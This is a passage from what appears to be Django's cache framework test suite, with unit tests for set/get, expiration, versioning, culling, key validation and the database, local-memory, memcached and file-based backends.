        cache.set('answer', 43)
        self.assertEqual(cache.decr('answer'), 42)
        self.assertEqual(cache.get('answer'), 42)
        self.assertEqual(cache.decr('answer', 10), 32)
        self.assertEqual(cache.get('answer'), 32)
        self.assertEqual(cache.decr('answer', -10), 42)
        with self.assertRaises(ValueError):
            cache.decr('does_not_exist')

    def test_close(self):
        self.assertTrue(hasattr(cache, 'close'))
        cache.close()

    def test_data_types(self):
        # Many different data types can be cached
        stuff = {
            'string': 'this is a string',
            'int': 42,
            'list': [1, 2, 3, 4],
            'tuple': (1, 2, 3, 4),
            'dict': {'A': 1, 'B': 2},
            'function': f,
            'class': C,
        }
        cache.set("stuff", stuff)
        self.assertEqual(cache.get("stuff"), stuff)

    def test_cache_read_for_model_instance(self):
        # Don't want fields with callable as default to be called on cache read
        expensive_calculation.num_runs = 0
        Poll.objects.all().delete()
        my_poll = Poll.objects.create(question="Well?")
        self.assertEqual(Poll.objects.count(), 1)
        pub_date = my_poll.pub_date
        cache.set('question', my_poll)
        cached_poll = cache.get('question')
        self.assertEqual(cached_poll.pub_date, pub_date)
        # We only want the default expensive calculation run once
        self.assertEqual(expensive_calculation.num_runs, 1)

    def test_cache_write_for_model_instance_with_deferred(self):
        # Don't want fields with callable as default to be called on cache write
        expensive_calculation.num_runs = 0
        Poll.objects.all().delete()
        Poll.objects.create(question="What?")
        self.assertEqual(expensive_calculation.num_runs, 1)
        defer_qs = Poll.objects.all().defer('question')
        self.assertEqual(defer_qs.count(), 1)
        self.assertEqual(expensive_calculation.num_runs, 1)
        cache.set('deferred_queryset', defer_qs)
        # cache set should not re-evaluate default functions
        self.assertEqual(expensive_calculation.num_runs, 1)

    def test_cache_read_for_model_instance_with_deferred(self):
        # Don't want fields with callable as default to be called on cache read
        expensive_calculation.num_runs = 0
        Poll.objects.all().delete()
        Poll.objects.create(question="What?")
        self.assertEqual(expensive_calculation.num_runs, 1)
        defer_qs = Poll.objects.all().defer('question')
        self.assertEqual(defer_qs.count(), 1)
        cache.set('deferred_queryset', defer_qs)
        self.assertEqual(expensive_calculation.num_runs, 1)
        runs_before_cache_read = expensive_calculation.num_runs
        cache.get('deferred_queryset')
        # We only want the default expensive calculation run on creation and set
        self.assertEqual(expensive_calculation.num_runs, runs_before_cache_read)

    def test_expiration(self):
        # Cache values can be set to expire
        cache.set('expire1', 'very quickly', 1)
        cache.set('expire2', 'very quickly', 1)
        cache.set('expire3', 'very quickly', 1)

        time.sleep(2)
        self.assertIsNone(cache.get("expire1"))

        cache.add("expire2", "newvalue")
        self.assertEqual(cache.get("expire2"), "newvalue")
        self.assertFalse(cache.has_key("expire3"))

    def test_unicode(self):
        # Unicode values can be cached
        stuff = {
            'ascii': 'ascii_value',
            'unicode_ascii': 'Iñtërnâtiônàlizætiøn1',
            'Iñtërnâtiônàlizætiøn': 'Iñtërnâtiônàlizætiøn2',
            'ascii2': {'x': 1}
        }
        # Test `set`
        for (key, value) in stuff.items():
            cache.set(key, value)
            self.assertEqual(cache.get(key), value)

        # Test `add`
        for (key, value) in stuff.items():
            cache.delete(key)
            cache.add(key, value)
            self.assertEqual(cache.get(key), value)

        # Test `set_many`
        for (key, value) in stuff.items():
            cache.delete(key)
        cache.set_many(stuff)
        for (key, value) in stuff.items():
            self.assertEqual(cache.get(key), value)

    def test_binary_string(self):
        # Binary strings should be cacheable
        from zlib import compress, decompress
        value = 'value_to_be_compressed'
        compressed_value = compress(value.encode())

        # Test set
        cache.set('binary1', compressed_value)
        compressed_result = cache.get('binary1')
        self.assertEqual(compressed_value, compressed_result)
        self.assertEqual(value, decompress(compressed_result).decode())

        # Test add
        cache.add('binary1-add', compressed_value)
        compressed_result = cache.get('binary1-add')
        self.assertEqual(compressed_value, compressed_result)
        self.assertEqual(value, decompress(compressed_result).decode())

        # Test set_many
        cache.set_many({'binary1-set_many': compressed_value})
        compressed_result = cache.get('binary1-set_many')
        self.assertEqual(compressed_value, compressed_result)
        self.assertEqual(value, decompress(compressed_result).decode())

    def test_set_many(self):
        # Multiple keys can be set using set_many
        cache.set_many({"key1": "spam", "key2": "eggs"})
        self.assertEqual(cache.get("key1"), "spam")
        self.assertEqual(cache.get("key2"), "eggs")

    def test_set_many_expiration(self):
        # set_many takes a second ``timeout`` parameter
        cache.set_many({"key1": "spam", "key2": "eggs"}, 1)
        time.sleep(2)
        self.assertIsNone(cache.get("key1"))
        self.assertIsNone(cache.get("key2"))

    def test_delete_many(self):
        # Multiple keys can be deleted using delete_many
        cache.set("key1", "spam")
        cache.set("key2", "eggs")
        cache.set("key3", "ham")
        cache.delete_many(["key1", "key2"])
        self.assertIsNone(cache.get("key1"))
        self.assertIsNone(cache.get("key2"))
        self.assertEqual(cache.get("key3"), "ham")

    def test_clear(self):
        # The cache can be emptied using clear
        cache.set("key1", "spam")
        cache.set("key2", "eggs")
        cache.clear()
        self.assertIsNone(cache.get("key1"))
        self.assertIsNone(cache.get("key2"))

    def test_long_timeout(self):
        '''
        Using a timeout greater than 30 days makes memcached think
        it is an absolute expiration timestamp instead of a relative
        offset. Test that we honour this convention. Refs #12399.
        '''
        cache.set('key1', 'eggs', 60 * 60 * 24 * 30 + 1)  # 30 days + 1 second
        self.assertEqual(cache.get('key1'), 'eggs')

        cache.add('key2', 'ham', 60 * 60 * 24 * 30 + 1)
        self.assertEqual(cache.get('key2'), 'ham')

        cache.set_many({'key3': 'sausage', 'key4': 'lobster bisque'}, 60 * 60 * 24 * 30 + 1)
        self.assertEqual(cache.get('key3'), 'sausage')
        self.assertEqual(cache.get('key4'), 'lobster bisque')

    def test_forever_timeout(self):
        '''
        Passing in None into timeout results in a value that is cached forever
        '''
        cache.set('key1', 'eggs', None)
        self.assertEqual(cache.get('key1'), 'eggs')

        cache.add('key2', 'ham', None)
        self.assertEqual(cache.get('key2'), 'ham')
        added = cache.add('key1', 'new eggs', None)
        self.assertIs(added, False)
        self.assertEqual(cache.get('key1'), 'eggs')

        cache.set_many({'key3': 'sausage', 'key4': 'lobster bisque'}, None)
        self.assertEqual(cache.get('key3'), 'sausage')
        self.assertEqual(cache.get('key4'), 'lobster bisque')

    def test_zero_timeout(self):
        '''
        Passing in zero into timeout results in a value that is not cached
        '''
        cache.set('key1', 'eggs', 0)
        self.assertIsNone(cache.get('key1'))

        cache.add('key2', 'ham', 0)
        self.assertIsNone(cache.get('key2'))

        cache.set_many({'key3': 'sausage', 'key4': 'lobster bisque'}, 0)
        self.assertIsNone(cache.get('key3'))
        self.assertIsNone(cache.get('key4'))

    def test_float_timeout(self):
        # Make sure a timeout given as a float doesn't crash anything.
        cache.set("key1", "spam", 100.2)
        self.assertEqual(cache.get("key1"), "spam")

    def _perform_cull_test(self, cull_cache, initial_count, final_count):
        # Create initial cache key entries. This will overflow the cache,
        # causing a cull.
        for i in range(1, initial_count):
            cull_cache.set('cull%d' % i, 'value', 1000)
        count = 0
        # Count how many keys are left in the cache.
        for i in range(1, initial_count):
            if cull_cache.has_key('cull%d' % i):
                count += 1
        self.assertEqual(count, final_count)

    def test_cull(self):
        self._perform_cull_test(caches['cull'], 50, 29)

    def test_zero_cull(self):
        self._perform_cull_test(caches['zero_cull'], 50, 19)

    def test_invalid_keys(self):
        """
        All the builtin backends (except memcached, see below) should warn on
        keys that would be refused by memcached. This encourages portable
        caching code without making it too difficult to use production backends
        with more liberal key rules. Refs #6447.
        """
        # mimic custom ``make_key`` method being defined since the default will
        # never show the below warnings
        def func(key, *args):
            return key

        old_func = cache.key_func
        cache.key_func = func

        try:
            with warnings.catch_warnings(record=True) as w:
                warnings.simplefilter("always")
                # memcached does not allow whitespace or control characters in keys
                key = 'key with spaces and 清'
                cache.set(key, 'value')
                self.assertEqual(len(w), 1)
                self.assertIsInstance(w[0].message, CacheKeyWarning)
                self.assertEqual(
                    # warnings.warn() crashes on Python 2 if message isn't
                    # coercible to str.
                    str(w[0].message.args[0]),
                    "Cache key contains characters that will cause errors if used "
                    "with memcached: %r" % key,
                )
            with warnings.catch_warnings(record=True) as w:
                warnings.simplefilter("always")
                # memcached limits key length to 250
                key = ('a' * 250) + '清'
                cache.set(key, 'value')
                self.assertEqual(len(w), 1)
                self.assertIsInstance(w[0].message, CacheKeyWarning)
                self.assertEqual(
                    # warnings.warn() crashes on Python 2 if message isn't
                    # coercible to str.
                    str(w[0].message.args[0]),
                    'Cache key will cause errors if used with memcached: '
                    '%r (longer than %s)' % (key, 250),
                )
        finally:
            cache.key_func = old_func

    def test_cache_versioning_get_set(self):
        # set, using default version = 1
        cache.set('answer1', 42)
        self.assertEqual(cache.get('answer1'), 42)
        self.assertEqual(cache.get('answer1', version=1), 42)
        self.assertIsNone(cache.get('answer1', version=2))

        self.assertIsNone(caches['v2'].get('answer1'))
        self.assertEqual(caches['v2'].get('answer1', version=1), 42)
        self.assertIsNone(caches['v2'].get('answer1', version=2))

        # set, default version = 1, but manually override version = 2
        cache.set('answer2', 42, version=2)
        self.assertIsNone(cache.get('answer2'))
        self.assertIsNone(cache.get('answer2', version=1))
        self.assertEqual(cache.get('answer2', version=2), 42)

        self.assertEqual(caches['v2'].get('answer2'), 42)
        self.assertIsNone(caches['v2'].get('answer2', version=1))
        self.assertEqual(caches['v2'].get('answer2', version=2), 42)

        # v2 set, using default version = 2
        caches['v2'].set('answer3', 42)
        self.assertIsNone(cache.get('answer3'))
        self.assertIsNone(cache.get('answer3', version=1))
        self.assertEqual(cache.get('answer3', version=2), 42)

        self.assertEqual(caches['v2'].get('answer3'), 42)
        self.assertIsNone(caches['v2'].get('answer3', version=1))
        self.assertEqual(caches['v2'].get('answer3', version=2), 42)

        # v2 set, default version = 2, but manually override version = 1
        caches['v2'].set('answer4', 42, version=1)
        self.assertEqual(cache.get('answer4'), 42)
        self.assertEqual(cache.get('answer4', version=1), 42)
        self.assertIsNone(cache.get('answer4', version=2))

        self.assertIsNone(caches['v2'].get('answer4'))
        self.assertEqual(caches['v2'].get('answer4', version=1), 42)
        self.assertIsNone(caches['v2'].get('answer4', version=2))

    def test_cache_versioning_add(self):

        # add, default version = 1, but manually override version = 2
        cache.add('answer1', 42, version=2)
        self.assertIsNone(cache.get('answer1', version=1))
        self.assertEqual(cache.get('answer1', version=2), 42)

        cache.add('answer1', 37, version=2)
        self.assertIsNone(cache.get('answer1', version=1))
        self.assertEqual(cache.get('answer1', version=2), 42)

        cache.add('answer1', 37, version=1)
        self.assertEqual(cache.get('answer1', version=1), 37)
        self.assertEqual(cache.get('answer1', version=2), 42)

        # v2 add, using default version = 2
        caches['v2'].add('answer2', 42)
        self.assertIsNone(cache.get('answer2', version=1))
        self.assertEqual(cache.get('answer2', version=2), 42)

        caches['v2'].add('answer2', 37)
        self.assertIsNone(cache.get('answer2', version=1))
        self.assertEqual(cache.get('answer2', version=2), 42)

        caches['v2'].add('answer2', 37, version=1)
        self.assertEqual(cache.get('answer2', version=1), 37)
        self.assertEqual(cache.get('answer2', version=2), 42)

        # v2 add, default version = 2, but manually override version = 1
        caches['v2'].add('answer3', 42, version=1)
        self.assertEqual(cache.get('answer3', version=1), 42)
        self.assertIsNone(cache.get('answer3', version=2))

        caches['v2'].add('answer3', 37, version=1)
        self.assertEqual(cache.get('answer3', version=1), 42)
        self.assertIsNone(cache.get('answer3', version=2))

        caches['v2'].add('answer3', 37)
        self.assertEqual(cache.get('answer3', version=1), 42)
        self.assertEqual(cache.get('answer3', version=2), 37)

    def test_cache_versioning_has_key(self):
        cache.set('answer1', 42)

        # has_key
        self.assertTrue(cache.has_key('answer1'))
        self.assertTrue(cache.has_key('answer1', version=1))
        self.assertFalse(cache.has_key('answer1', version=2))

        self.assertFalse(caches['v2'].has_key('answer1'))
        self.assertTrue(caches['v2'].has_key('answer1', version=1))
        self.assertFalse(caches['v2'].has_key('answer1', version=2))

    def test_cache_versioning_delete(self):
        cache.set('answer1', 37, version=1)
        cache.set('answer1', 42, version=2)
        cache.delete('answer1')
        self.assertIsNone(cache.get('answer1', version=1))
        self.assertEqual(cache.get('answer1', version=2), 42)

        cache.set('answer2', 37, version=1)
        cache.set('answer2', 42, version=2)
        cache.delete('answer2', version=2)
        self.assertEqual(cache.get('answer2', version=1), 37)
        self.assertIsNone(cache.get('answer2', version=2))

        cache.set('answer3', 37, version=1)
        cache.set('answer3', 42, version=2)
        caches['v2'].delete('answer3')
        self.assertEqual(cache.get('answer3', version=1), 37)
        self.assertIsNone(cache.get('answer3', version=2))

        cache.set('answer4', 37, version=1)
        cache.set('answer4', 42, version=2)
        caches['v2'].delete('answer4', version=1)
        self.assertIsNone(cache.get('answer4', version=1))
        self.assertEqual(cache.get('answer4', version=2), 42)

    def test_cache_versioning_incr_decr(self):
        cache.set('answer1', 37, version=1)
        cache.set('answer1', 42, version=2)
        cache.incr('answer1')
        self.assertEqual(cache.get('answer1', version=1), 38)
        self.assertEqual(cache.get('answer1', version=2), 42)
        cache.decr('answer1')
        self.assertEqual(cache.get('answer1', version=1), 37)
        self.assertEqual(cache.get('answer1', version=2), 42)

        cache.set('answer2', 37, version=1)
        cache.set('answer2', 42, version=2)
        cache.incr('answer2', version=2)
        self.assertEqual(cache.get('answer2', version=1), 37)
        self.assertEqual(cache.get('answer2', version=2), 43)
        cache.decr('answer2', version=2)
        self.assertEqual(cache.get('answer2', version=1), 37)
        self.assertEqual(cache.get('answer2', version=2), 42)

        cache.set('answer3', 37, version=1)
        cache.set('answer3', 42, version=2)
        caches['v2'].incr('answer3')
        self.assertEqual(cache.get('answer3', version=1), 37)
        self.assertEqual(cache.get('answer3', version=2), 43)
        caches['v2'].decr('answer3')
        self.assertEqual(cache.get('answer3', version=1), 37)
        self.assertEqual(cache.get('answer3', version=2), 42)

        cache.set('answer4', 37, version=1)
        cache.set('answer4', 42, version=2)
        caches['v2'].incr('answer4', version=1)
        self.assertEqual(cache.get('answer4', version=1), 38)
        self.assertEqual(cache.get('answer4', version=2), 42)
        caches['v2'].decr('answer4', version=1)
        self.assertEqual(cache.get('answer4', version=1), 37)
        self.assertEqual(cache.get('answer4', version=2), 42)

    def test_cache_versioning_get_set_many(self):
        # set, using default version = 1
        cache.set_many({'ford1': 37, 'arthur1': 42})
        self.assertDictEqual(cache.get_many(['ford1', 'arthur1']), {'ford1': 37, 'arthur1': 42})
        self.assertDictEqual(cache.get_many(['ford1', 'arthur1'], version=1), {'ford1': 37, 'arthur1': 42})
        self.assertDictEqual(cache.get_many(['ford1', 'arthur1'], version=2), {})

        self.assertDictEqual(caches['v2'].get_many(['ford1', 'arthur1']), {})
        self.assertDictEqual(caches['v2'].get_many(['ford1', 'arthur1'], version=1), {'ford1': 37, 'arthur1': 42})
        self.assertDictEqual(caches['v2'].get_many(['ford1', 'arthur1'], version=2), {})

        # set, default version = 1, but manually override version = 2
        cache.set_many({'ford2': 37, 'arthur2': 42}, version=2)
        self.assertDictEqual(cache.get_many(['ford2', 'arthur2']), {})
        self.assertDictEqual(cache.get_many(['ford2', 'arthur2'], version=1), {})
        self.assertDictEqual(cache.get_many(['ford2', 'arthur2'], version=2), {'ford2': 37, 'arthur2': 42})

        self.assertDictEqual(caches['v2'].get_many(['ford2', 'arthur2']), {'ford2': 37, 'arthur2': 42})
        self.assertDictEqual(caches['v2'].get_many(['ford2', 'arthur2'], version=1), {})
        self.assertDictEqual(caches['v2'].get_many(['ford2', 'arthur2'], version=2), {'ford2': 37, 'arthur2': 42})

        # v2 set, using default version = 2
        caches['v2'].set_many({'ford3': 37, 'arthur3': 42})
        self.assertDictEqual(cache.get_many(['ford3', 'arthur3']), {})
        self.assertDictEqual(cache.get_many(['ford3', 'arthur3'], version=1), {})
        self.assertDictEqual(cache.get_many(['ford3', 'arthur3'], version=2), {'ford3': 37, 'arthur3': 42})

        self.assertDictEqual(caches['v2'].get_many(['ford3', 'arthur3']), {'ford3': 37, 'arthur3': 42})
        self.assertDictEqual(caches['v2'].get_many(['ford3', 'arthur3'], version=1), {})
        self.assertDictEqual(caches['v2'].get_many(['ford3', 'arthur3'], version=2), {'ford3': 37, 'arthur3': 42})

        # v2 set, default version = 2, but manually override version = 1
        caches['v2'].set_many({'ford4': 37, 'arthur4': 42}, version=1)
        self.assertDictEqual(cache.get_many(['ford4', 'arthur4']), {'ford4': 37, 'arthur4': 42})
        self.assertDictEqual(cache.get_many(['ford4', 'arthur4'], version=1), {'ford4': 37, 'arthur4': 42})
        self.assertDictEqual(cache.get_many(['ford4', 'arthur4'], version=2), {})

        self.assertDictEqual(caches['v2'].get_many(['ford4', 'arthur4']), {})
        self.assertDictEqual(caches['v2'].get_many(['ford4', 'arthur4'], version=1), {'ford4': 37, 'arthur4': 42})
        self.assertDictEqual(caches['v2'].get_many(['ford4', 'arthur4'], version=2), {})

    def test_incr_version(self):
        cache.set('answer', 42, version=2)
        self.assertIsNone(cache.get('answer'))
        self.assertIsNone(cache.get('answer', version=1))
        self.assertEqual(cache.get('answer', version=2), 42)
        self.assertIsNone(cache.get('answer', version=3))

        self.assertEqual(cache.incr_version('answer', version=2), 3)
        self.assertIsNone(cache.get('answer'))
        self.assertIsNone(cache.get('answer', version=1))
        self.assertIsNone(cache.get('answer', version=2))
        self.assertEqual(cache.get('answer', version=3), 42)

        caches['v2'].set('answer2', 42)
        self.assertEqual(caches['v2'].get('answer2'), 42)
        self.assertIsNone(caches['v2'].get('answer2', version=1))
        self.assertEqual(caches['v2'].get('answer2', version=2), 42)
        self.assertIsNone(caches['v2'].get('answer2', version=3))

        self.assertEqual(caches['v2'].incr_version('answer2'), 3)
        self.assertIsNone(caches['v2'].get('answer2'))
        self.assertIsNone(caches['v2'].get('answer2', version=1))
        self.assertIsNone(caches['v2'].get('answer2', version=2))
        self.assertEqual(caches['v2'].get('answer2', version=3), 42)

        with self.assertRaises(ValueError):
            cache.incr_version('does_not_exist')

    def test_decr_version(self):
        cache.set('answer', 42, version=2)
        self.assertIsNone(cache.get('answer'))
        self.assertIsNone(cache.get('answer', version=1))
        self.assertEqual(cache.get('answer', version=2), 42)

        self.assertEqual(cache.decr_version('answer', version=2), 1)
        self.assertEqual(cache.get('answer'), 42)
        self.assertEqual(cache.get('answer', version=1), 42)
        self.assertIsNone(cache.get('answer', version=2))

        caches['v2'].set('answer2', 42)
        self.assertEqual(caches['v2'].get('answer2'), 42)
        self.assertIsNone(caches['v2'].get('answer2', version=1))
        self.assertEqual(caches['v2'].get('answer2', version=2), 42)

        self.assertEqual(caches['v2'].decr_version('answer2'), 1)
        self.assertIsNone(caches['v2'].get('answer2'))
        self.assertEqual(caches['v2'].get('answer2', version=1), 42)
        self.assertIsNone(caches['v2'].get('answer2', version=2))

        with self.assertRaises(ValueError):
            cache.decr_version('does_not_exist', version=2)

    def test_custom_key_func(self):
        # Two caches with different key functions aren't visible to each other
        cache.set('answer1', 42)
        self.assertEqual(cache.get('answer1'), 42)
        self.assertIsNone(caches['custom_key'].get('answer1'))
        self.assertIsNone(caches['custom_key2'].get('answer1'))

        caches['custom_key'].set('answer2', 42)
        self.assertIsNone(cache.get('answer2'))
        self.assertEqual(caches['custom_key'].get('answer2'), 42)
        self.assertEqual(caches['custom_key2'].get('answer2'), 42)

    def test_cache_write_unpicklable_object(self):
        update_middleware = UpdateCacheMiddleware()
        update_middleware.cache = cache

        fetch_middleware = FetchFromCacheMiddleware()
        fetch_middleware.cache = cache

        request = self.factory.get('/cache/test')
        request._cache_update_cache = True
        get_cache_data = FetchFromCacheMiddleware().process_request(request)
        self.assertIsNone(get_cache_data)

        response = HttpResponse()
        content = 'Testing cookie serialization.'
        response.content = content
        response.set_cookie('foo', 'bar')

        update_middleware.process_response(request, response)

        get_cache_data = fetch_middleware.process_request(request)
        self.assertIsNotNone(get_cache_data)
        self.assertEqual(get_cache_data.content, content.encode('utf-8'))
        self.assertEqual(get_cache_data.cookies, response.cookies)

        update_middleware.process_response(request, get_cache_data)
        get_cache_data = fetch_middleware.process_request(request)
        self.assertIsNotNone(get_cache_data)
        self.assertEqual(get_cache_data.content, content.encode('utf-8'))
        self.assertEqual(get_cache_data.cookies, response.cookies)

    def test_add_fail_on_pickleerror(self):
        # Shouldn't fail silently if trying to cache an unpicklable type.
        with self.assertRaises(pickle.PickleError):
            cache.add('unpicklable', Unpicklable())

    def test_set_fail_on_pickleerror(self):
        with self.assertRaises(pickle.PickleError):
            cache.set('unpicklable', Unpicklable())

    def test_get_or_set(self):
        self.assertIsNone(cache.get('projector'))
        self.assertEqual(cache.get_or_set('projector', 42), 42)
        self.assertEqual(cache.get('projector'), 42)
        self.assertEqual(cache.get_or_set('null', None), None)

    def test_get_or_set_callable(self):
        def my_callable():
            return 'value'

        self.assertEqual(cache.get_or_set('mykey', my_callable), 'value')
        self.assertEqual(cache.get_or_set('mykey', my_callable()), 'value')

    def test_get_or_set_version(self):
        msg = (
            "get_or_set() missing 1 required positional argument: 'default'"
            if six.PY3
            else 'get_or_set() takes at least 3 arguments'
        )
        cache.get_or_set('brian', 1979, version=2)
        with self.assertRaisesMessage(TypeError, msg):
            cache.get_or_set('brian')
        with self.assertRaisesMessage(TypeError, msg):
            cache.get_or_set('brian', version=1)
        self.assertIsNone(cache.get('brian', version=1))
        self.assertEqual(cache.get_or_set('brian', 42, version=1), 42)
        self.assertEqual(cache.get_or_set('brian', 1979, version=2), 1979)
        self.assertIsNone(cache.get('brian', version=3))

    def test_get_or_set_racing(self):
        with mock.patch('%s.%s' % (settings.CACHES['default']['BACKEND'], 'add')) as cache_add:
            # Simulate cache.add() failing to add a value. In that case, the
            # default value should be returned.
            cache_add.return_value = False
            self.assertEqual(cache.get_or_set('key', 'default'), 'default')


@override_settings(CACHES=caches_setting_for_tests(
    BACKEND='django.core.cache.backends.db.DatabaseCache',
    # Spaces are used in the table name to ensure quoting/escaping is working
    LOCATION='test cache table'
))
class DBCacheTests(BaseCacheTests, TransactionTestCase):

    available_apps = ['cache']

    def setUp(self):
        # The super calls needs to happen first for the settings override.
        super(DBCacheTests, self).setUp()
        self.create_table()

    def tearDown(self):
        # The super call needs to happen first because it uses the database.
        super(DBCacheTests, self).tearDown()
        self.drop_table()

    def create_table(self):
        management.call_command('createcachetable', verbosity=0, interactive=False)

    def drop_table(self):
        with connection.cursor() as cursor:
            table_name = connection.ops.quote_name('test cache table')
            cursor.execute('DROP TABLE %s' % table_name)

    def test_zero_cull(self):
        self._perform_cull_test(caches['zero_cull'], 50, 18)

    def test_second_call_doesnt_crash(self):
        out = six.StringIO()
        management.call_command('createcachetable', stdout=out)
        self.assertEqual(out.getvalue(), "Cache table 'test cache table' already exists.\n" * len(settings.CACHES))

    @override_settings(CACHES=caches_setting_for_tests(
        BACKEND='django.core.cache.backends.db.DatabaseCache',
        # Use another table name to avoid the 'table already exists' message.
        LOCATION='createcachetable_dry_run_mode'
    ))
    def test_createcachetable_dry_run_mode(self):
        out = six.StringIO()
        management.call_command('createcachetable', dry_run=True, stdout=out)
        output = out.getvalue()
        self.assertTrue(output.startswith("CREATE TABLE"))

    def test_createcachetable_with_table_argument(self):
        """
        Delete and recreate cache table with legacy behavior (explicitly
        specifying the table name).
        """
        self.drop_table()
        out = six.StringIO()
        management.call_command(
            'createcachetable',
            'test cache table',
            verbosity=2,
            stdout=out,
        )
        self.assertEqual(out.getvalue(), "Cache table 'test cache table' created.\n")


@override_settings(USE_TZ=True)
class DBCacheWithTimeZoneTests(DBCacheTests):
    pass


class DBCacheRouter(object):
    """A router that puts the cache table on the 'other' database."""

    def db_for_read(self, model, **hints):
        if model._meta.app_label == 'django_cache':
            return 'other'
        return None

    def db_for_write(self, model, **hints):
        if model._meta.app_label == 'django_cache':
            return 'other'
        return None

    def allow_migrate(self, db, app_label, **hints):
        if app_label == 'django_cache':
            return db == 'other'
        return None


@override_settings(
    CACHES={
        'default': {
            'BACKEND': 'django.core.cache.backends.db.DatabaseCache',
            'LOCATION': 'my_cache_table',
        },
    },
)
class CreateCacheTableForDBCacheTests(TestCase):
    multi_db = True

    @override_settings(DATABASE_ROUTERS=[DBCacheRouter()])
    def test_createcachetable_observes_database_router(self):
        # cache table should not be created on 'default'
        with self.assertNumQueries(0, using='default'):
            management.call_command('createcachetable',
                                    database='default',
                                    verbosity=0, interactive=False)
        # cache table should be created on 'other'
        # Queries:
        #   1: check table doesn't already exist
        #   2: create savepoint (if transactional DDL is supported)
        #   3: create the table
        #   4: create the index
        #   5: release savepoint (if transactional DDL is supported)
        num = 5 if connections['other'].features.can_rollback_ddl else 3
        with self.assertNumQueries(num, using='other'):
            management.call_command('createcachetable',
                                    database='other',
                                    verbosity=0, interactive=False)


class PicklingSideEffect(object):

    def __init__(self, cache):
        self.cache = cache
        self.locked = False

    def __getstate__(self):
        if self.cache._lock.active_writers:
            self.locked = True
        return {}


@override_settings(CACHES=caches_setting_for_tests(
    BACKEND='django.core.cache.backends.locmem.LocMemCache',
))
class LocMemCacheTests(BaseCacheTests, TestCase):

    def setUp(self):
        super(LocMemCacheTests, self).setUp()

        # LocMem requires a hack to make the other caches
        # share a data store with the 'normal' cache.
        caches['prefix']._cache = cache._cache
        caches['prefix']._expire_info = cache._expire_info

        caches['v2']._cache = cache._cache
        caches['v2']._expire_info = cache._expire_info

        caches['custom_key']._cache = cache._cache
        caches['custom_key']._expire_info = cache._expire_info

        caches['custom_key2']._cache = cache._cache
        caches['custom_key2']._expire_info = cache._expire_info

    @override_settings(CACHES={
        'default': {'BACKEND': 'django.core.cache.backends.locmem.LocMemCache'},
        'other': {
            'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
            'LOCATION': 'other'
        },
    })
    def test_multiple_caches(self):
        "Check that multiple locmem caches are isolated"
        cache.set('value', 42)
        self.assertEqual(caches['default'].get('value'), 42)
        self.assertIsNone(caches['other'].get('value'))

    def test_locking_on_pickle(self):
        """#20613/#18541 -- Ensures pickling is done outside of the lock."""
        bad_obj = PicklingSideEffect(cache)
        cache.set('set', bad_obj)
        self.assertFalse(bad_obj.locked, "Cache was locked during pickling")

        cache.add('add', bad_obj)
        self.assertFalse(bad_obj.locked, "Cache was locked during pickling")

    def test_incr_decr_timeout(self):
        """incr/decr does not modify expiry time (matches memcached behavior)"""
        key = 'value'
        _key = cache.make_key(key)
        cache.set(key, 1, timeout=cache.default_timeout * 10)
        expire = cache._expire_info[_key]
        cache.incr(key)
        self.assertEqual(expire, cache._expire_info[_key])
        cache.decr(key)
        self.assertEqual(expire, cache._expire_info[_key])


# memcached backend isn't guaranteed to be available.
# To check the memcached backend, the test settings file will
# need to contain at least one cache backend setting that points at
# your memcache server.
memcached_params = {}
for _cache_params in settings.CACHES.values():
    if _cache_params['BACKEND'].startswith('django.core.cache.backends.memcached.'):
        memcached_params = _cache_params

memcached_never_expiring_params = memcached_params.copy()
memcached_never_expiring_params['TIMEOUT'] = None

memcached_far_future_params = memcached_params.copy()
memcached_far_future_params['TIMEOUT'] = 31536000  # 60*60*24*365, 1 year


@unittest.skipUnless(memcached_params, "memcached not available")
@override_settings(CACHES=caches_setting_for_tests(base=memcached_params))
class MemcachedCacheTests(BaseCacheTests, TestCase):

    def test_invalid_keys(self):
        """
        On memcached, we don't introduce a duplicate key validation
        step (for speed reasons), we just let the memcached API
        library raise its own exception on bad keys. Refs #6447.

        In order to be memcached-API-library agnostic, we only assert
        that a generic exception of some kind is raised.
        """
        # memcached does not allow whitespace or control characters in keys
        with self.assertRaises(Exception):
            cache.set('key with spaces', 'value')
        # memcached limits key length to 250
        with self.assertRaises(Exception):
            cache.set('a' * 251, 'value')

    # Explicitly display a skipped test if no configured cache uses MemcachedCache
    @unittest.skipUnless(
        memcached_params.get('BACKEND') == 'django.core.cache.backends.memcached.MemcachedCache',
        "cache with python-memcached library not available")
    def test_memcached_uses_highest_pickle_version(self):
        # Regression test for #19810
        for cache_key, cache_config in settings.CACHES.items():
            if cache_config['BACKEND'] == 'django.core.cache.backends.memcached.MemcachedCache':
                self.assertEqual(caches[cache_key]._cache.pickleProtocol,
                                 pickle.HIGHEST_PROTOCOL)

    @override_settings(CACHES=caches_setting_for_tests(base=memcached_never_expiring_params))
    def test_default_never_expiring_timeout(self):
        # Regression test for #22845
        cache.set('infinite_foo', 'bar')
        self.assertEqual(cache.get('infinite_foo'), 'bar')

    @override_settings(CACHES=caches_setting_for_tests(base=memcached_far_future_params))
    def test_default_far_future_timeout(self):
        # Regression test for #22845
        cache.set('future_foo', 'bar')
        self.assertEqual(cache.get('future_foo'), 'bar')

    def test_cull(self):
        # culling isn't implemented, memcached deals with it.
        pass

    def test_zero_cull(self):
        # culling isn't implemented, memcached deals with it.
        pass

    def test_memcached_deletes_key_on_failed_set(self):
        # By default memcached allows objects up to 1MB. For the cache_db session
        # backend to always use the current session, memcached needs to delete
        # the old key if it fails to set.
        # pylibmc doesn't seem to have SERVER_MAX_VALUE_LENGTH as far as I can
        # tell from a quick check of its source code. This is falling back to
        # the default value exposed by python-memcached on my system.
        max_value_length = getattr(cache._lib, 'SERVER_MAX_VALUE_LENGTH', 1048576)

        cache.set('small_value', 'a')
        self.assertEqual(cache.get('small_value'), 'a')

        large_value = 'a' * (max_value_length + 1)
        cache.set('small_value', large_value)
        # small_value should be deleted, or set if configured to accept larger values
        value = cache.get('small_value')
        self.assertTrue(value is None or value == large_value)


@override_settings(CACHES=caches_setting_for_tests(
    BACKEND='django.core.cache.backends.filebased.FileBasedCache',
))
class FileBasedCacheTests(BaseCacheTests, TestCase):
    """
    Specific test cases for the file-based cache.
    """

    def setUp(self):
        super(FileBasedCacheTests, self).setUp()
        self.dirname = tempfile.mkdtemp()
        # Caches location cannot be modified through override_settings / modify_settings,
        # hence settings are manipulated directly here and the setting_changed signal
        # is triggered manually.
        for cache_params in settings.CACHES.values():
            cache_params.update({'LOCATION': self.dirname})
        setting_changed.send(self.__class__, setting='CACHES', enter=False)

